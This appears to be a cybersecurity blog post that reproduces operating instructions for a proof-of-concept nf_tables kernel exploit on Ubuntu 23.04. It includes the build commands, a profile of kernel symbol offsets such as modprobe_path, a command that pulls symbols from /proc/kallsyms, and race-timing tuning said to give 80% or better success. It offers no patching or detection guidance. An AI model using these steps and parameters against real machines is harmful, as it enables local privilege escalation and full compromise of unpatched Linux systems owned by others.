Cyber security

Building And Configuring – Kernel Exploits On Ubuntu 23.04

In the rapidly evolving landscape of Linux systems, vulnerabilities can emerge that challenge even seasoned developers.

‘Building and Configuring: Kernel Exploits on Ubuntu 23.04’ delves deep into the intricacies of kernel vulnerabilities found in Ubuntu’s latest release.

Through this guide, we’ll navigate the steps for identifying, building, and exploiting these weaknesses, ensuring you’re equipped with the latest knowledge on system security.

The instructions below were tested under Ubuntu 23.04 (Lunar Lobster).

Installing Build Dependencies

Run the following command to install the build dependencies:

sudo apt install gcc libmnl-dev libnftnl-dev

Building Binary

Run the following command to build the PoC binary:

gcc -Wall -o exploit exploit.c -lmnl -lnftnl

Updating Profile

Built-in profile contains parameters specific to the Linux kernel distributed in binary form as the following packages from Ubuntu 23.04 (Lunar Lobster):

  • “linux-image-6.2.0-20-generic”, version “6.2.0-20.20”, and
  • “linux-modules-6.2.0-20-generic”, version “6.2.0-20.20”.

The built-in profile looks like this:

1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

Kernel Symbols

Optional steps to override the built-in profile when testing with other Linux kernels:

modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

Machine Code

In order to find the kernel base we examine the nf_tables.ko image in the kernel memory. And specifically, we analyse the machine code of nft_counter_destroy() subroutine.

This means that our method is sensitive to the compiler as well as the compilation options. However, all the usual cases can be handled by overriding the built-in profile.

For example, the machine code of nft_counter_destroy() subroutine may look like this:

000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

In the above case we can specify a few parameters by appending the three lines below to the configuration file “profile”.

First, we redefine the offset of the dword preceding the free_percpu displacement:

5                   nft_counter_destroy_call_offset # hex

where the value 5 was computed using the expression (1e31d - 1e310) - 8.

As a sanity check, we then validate the dword at the above offset using the following mask:

ffffffff            nft_counter_destroy_call_mask   # hex

expecting the following value:

e9087e8b            nft_counter_destroy_call_check  # hex

Race Tuning

Exploiting the vulnerability requires winning a race with background worker thread from the Linux kernel.

The built-in profile has been tuned to maximise the chance of winning that race on a broad range of Intel microprocessors including mobile Sandy Bridge and desktop Comet Lake.

However, some microprocessors require additional tuning.

For example, we observed increased latency to switch tasks under Alder Lake in certain setups, where it may be necessary to append the following line to “profile”:

400                 race_lead_sleep

We measured probability of 80% or better to successfully exploit the vulnerability in our tests that used idle bare-metal systems.

Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

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